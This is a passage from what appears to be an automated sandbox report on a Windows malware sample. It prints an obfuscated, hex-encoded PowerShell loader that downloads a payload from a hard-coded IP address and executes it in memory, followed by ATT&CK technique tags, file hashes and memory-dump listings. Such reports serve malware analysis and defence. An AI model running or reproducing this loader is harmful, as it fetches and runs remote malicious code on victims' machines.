'694D47564B574B42500A734D4A17160A714A574542416A45504D52416941504C4B4057';$Stump2=Unwake11 '63415074564B4765404056415757';$Stump3=Unwake11 '775D575041490A76514A504D49410A6D4A5041564B54774156524D4741570A6C454A404841764142';$Stump4=Unwake11 '5750564D4A43';$Stump5=Unwake11 '634150694B405148416C454A404841';$Stump6=Unwake11 '7670775441474D45486A45494108046C4D4041665D774D430804745146484D47';$Stump7=Unwake11 '76514A504D4941080469454A45434140';$Stump8=Unwake11 '7641424841475041406041484143455041';$Stump9=Unwake11 '6D4A6941494B565D694B40514841';$Vider0=Unwake11 '695D6041484143455041705D5441';$Vider1=Unwake11 '67484557570804745146484D4708047741454841400804654A574D674845575708046551504B6748455757';$Vider2=Unwake11 '6D4A524B4F41';$Vider3=Unwake11 '745146484D4708046C4D4041665D774D4308046A415377484B500804724D5650514548';$Vider4=Unwake11 '724D56505145486548484B47';$Vider5=Unwake11 '4A50404848';$Vider6=Unwake11 '6A5074564B50414750724D56505145486941494B565D';$Vider7=Unwake11 '6D617C';$Vider8=Unwake11 '78';$Motorspo=Unwake11 '717761761716';$Jewfishest=Unwake11 '67454848734D4A404B5374564B4765';function fkp {Param ($Downfa, $Fagott) ;$Prosaisk0 =Unwake11 '007641574D404156410419040C7F655454604B49454D4A791E1E67515656414A50604B49454D4A0A634150655757414946484D41570C0D045804734C415641096B464E414750045F04007B0A63484B464548655757414946485D6745474C410409654A4004007B0A684B4745504D4B4A0A7754484D500C00724D4041561C0D7F0915790A6155514548570C007750514954140D04590D0A634150705D54410C007750514954150D';&($Vider7) $Prosaisk0;$Prosaisk5 = Unwake11 '004B5457545650504156041904007641574D404156410A6341506941504C4B400C0077505149541608047F705D54417F797904640C007750514954170804007750514954100D0D';&($Vider7) $Prosaisk5;$Prosaisk1 = Unwake11 '56415051564A04004B54575456505041560A6D4A524B4F410C004A5148480804640C7F775D575041490A76514A504D49410A6D4A5041564B54774156524D4741570A6C454A404841764142790C6A4153096B464E41475004775D575041490A76514A504D49410A6D4A5041564B54774156524D4741570A6C454A4048417641420C0C6A4153096B464E414750046D4A507450560D08040C007641574D404156410A6341506941504C4B400C007750514954110D0D0A6D4A524B4F410C004A5148480804640C00604B534A42450D0D0D0D0804006245434B50500D0D';&($Vider7) $Prosaisk1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Serol179,[Parameter(Position = 1)] [Type] $Hobe = [Void]);$Prosaisk2 = Unwake11 '00704D50564156454A0419047F655454604B49454D4A791E1E67515656414A50604B49454D4A0A6041424D4A41605D4A45494D47655757414946485D0C0C6A4153096B464E41475004775D575041490A764142484147504D4B4A0A655757414946485D6A4549410C0077505149541C0D0D08047F775D575041490A764142484147504D4B4A0A61494D500A655757414946485D66514D48404156654747415757791E1E76514A0D0A6041424D4A41605D4A45494D47694B405148410C0077505149541D08040042454857410D0A6041424D4A41705D54410C00724D40415614080400724D4041561508047F775D575041490A695148504D474557506041484143455041790D';&($Vider7) $Prosaisk2;$Prosaisk3 = Unwake11 '00704D50564156454A0A6041424D4A41674B4A5750565147504B560C0077505149541208047F775D575041490A764142484147504D4B4A0A674548484D4A43674B4A52414A504D4B4A57791E1E7750454A404556400804007741564B4815131D0D0A7741506D4954484149414A5045504D4B4A62484543570C007750514954130D';&($Vider7) $Prosaisk3;$Prosaisk4 = Unwake11 '00704D50564156454A0A6041424D4A416941504C4B400C00724D40415616080400724D404156170804006C4B46410804007741564B4815131D0D0A7741506D4954484149414A5045504D4B4A62484543570C007750514954130D';&($Vider7) $Prosaisk4;$Prosaisk5 = Unwake11 '56415051564A0400704D50564156454A0A675641455041705D54410C0D';&($Vider7) $Prosaisk5 ;}$Krsel = Unwake11 '4F41564A41481716';$Prosaisk6 = Unwake11 '006645454A40574F0419047F775D575041490A76514A504D49410A6D4A5041564B54774156524D4741570A694556574C4548791E1E6341506041484143455041624B5662514A47504D4B4A744B4D4A5041560C0C424F5404006F565741480400724D404156100D08040C63607004640C7F6D4A507450567908047F716D4A5017167908047F716D4A5017167908047F716D4A501716790D040C7F6D4A50745056790D0D0D';&($Vider7) $Prosaisk6;$Myotroph = fkp $Vider5 $Vider6;$Prosaisk7 = Unwake11 '00774A4B5641505617041904006645454A40574F0A6D4A524B4F410C7F6D4A50745056791E1E7E41564B08041210120804145C171414140804145C10140D';&($Vider7) $Prosaisk7;$Prosaisk8 = Unwake11 '00704D4857041904006645454A40574F0A6D4A524B4F410C7F6D4A50745056791E1E7E41564B08041C161316121D15160804145C171414140804145C100D';&($Vider7) $Prosaisk8;$Unwake01 = 'http://84.38.130.165/unsa.emz';$Unwake00 = Unwake11 '0070564D48484D4A0419040C6A4153096B464E414750046A41500A73414667484D414A500D0A604B534A484B45407750564D4A430C00714A53454F4114150D';$Prosaisk8 = Unwake11 '00774A4B56415056161900414A521E45545440455045';&($Vider7) $Prosaisk8;$Snoretr2=$Snoretr2+'\Kongeti.Kur';$Trillin='';if (-not(Test-Path $Snoretr2)) {while ($Trillin -eq '') {&($Vider7) $Unwake00;Start-Sleep 5;}Set-Content $Snoretr2 $Trillin;}$Trillin = Get-Content $Snoretr2;$Prosaisk9 = Unwake11 '0074564B57454D574F0419047F775D575041490A674B4A52415650791E1E62564B496645574112107750564D4A430C0070564D48484D4A0D';&($Vider7) $Prosaisk9;$Trillin0 = Unwake11 '7F775D575041490A76514A504D49410A6D4A5041564B54774156524D4741570A694556574C4548791E1E674B545D0C0074564B57454D574F08041408040400774A4B564150561708041210120D';&($Vider7) $Trillin0;$Fstnerha=$Prosaisk.count-646;$Trillin1 = Unwake11 '7F775D575041490A76514A504D49410A6D4A5041564B54774156524D4741570A694556574C4548791E1E674B545D0C0074564B57454D574F0804121012080400704D48570804006257504A41564C450D';&($Vider7) $Trillin1;$Trillin2 = Unwake11 '0068574154414A43410419047F775D575041490A76514A504D49410A6D4A5041564B54774156524D4741570A694556574C4548791E1E6341506041484143455041624B5662514A47504D4B4A744B4D4A5041560C0C424F540400694B504B5657544B04006E4153424D574C4157500D08040C63607004640C7F6D4A507450567908047F6D4A507450567908047F6D4A507450567908047F6D4A507450567908047F6D4A50745056790D040C7F6D4A50745056790D0D0D';&($Vider7) $Trillin2;$Trillin3 = Unwake11 '0068574154414A43410A6D4A524B4F410C00774A4B56415056170800704D48570800695D4B50564B544C081408140D';&($Vider7) $Trillin3#"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iq255efl.3wb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3004-166-0x0000000006610000-0x000000000662E000-memory.dmp

Filesize
120KB

Download
memory/3004-179-0x00000000079B0000-0x00000000079B1000-memory.dmp

Filesize
4KB

Download
memory/3004-182-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/3004-180-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/3004-150-0x0000000002CD0000-0x0000000002D06000-memory.dmp

Filesize
216KB

Download
memory/3004-151-0x0000000005AB0000-0x00000000060D8000-memory.dmp

Filesize
6.2MB

Download
memory/3004-152-0x0000000005760000-0x0000000005782000-memory.dmp

Filesize
136KB

Download
memory/3004-153-0x0000000005800000-0x0000000005866000-memory.dmp

Filesize
408KB

Download
memory/3004-154-0x00000000058E0000-0x0000000005946000-memory.dmp

Filesize
408KB

Download
memory/3004-160-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/3004-161-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/3004-181-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/3004-168-0x0000000007890000-0x0000000007926000-memory.dmp

Filesize
600KB

Download
memory/3004-167-0x0000000005470000-0x0000000005480000-memory.dmp

Filesize
64KB

Download
memory/3004-178-0x0000000009190000-0x000000000E075000-memory.dmp

Filesize
78.9MB

Download
memory/3004-170-0x0000000006BC0000-0x0000000006BE2000-memory.dmp

Filesize
136KB

Download
memory/3004-171-0x0000000007EE0000-0x0000000008484000-memory.dmp

Filesize
5.6MB

Download
memory/3004-172-0x0000000008B10000-0x000000000918A000-memory.dmp

Filesize
6.5MB

Download
memory/3004-169-0x0000000006B40000-0x0000000006B5A000-memory.dmp

Filesize
104KB

Download
memory/4836-177-0x0000023C6BC60000-0x0000023C6BC70000-memory.dmp

Filesize
64KB

Download
memory/4836-176-0x0000023C6BC60000-0x0000023C6BC70000-memory.dmp

Filesize
64KB

Download
memory/4836-173-0x0000023C6BC60000-0x0000023C6BC70000-memory.dmp

Filesize
64KB

Download
memory/4836-147-0x0000023C6BC60000-0x0000023C6BC70000-memory.dmp

Filesize
64KB

Download
memory/4836-142-0x0000023C6D260000-0x0000023C6D282000-memory.dmp

Filesize
136KB

Download
memory/4836-148-0x0000023C6BC60000-0x0000023C6BC70000-memory.dmp

Filesize
64KB

Download
memory/4836-149-0x0000023C6BC60000-0x0000023C6BC70000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing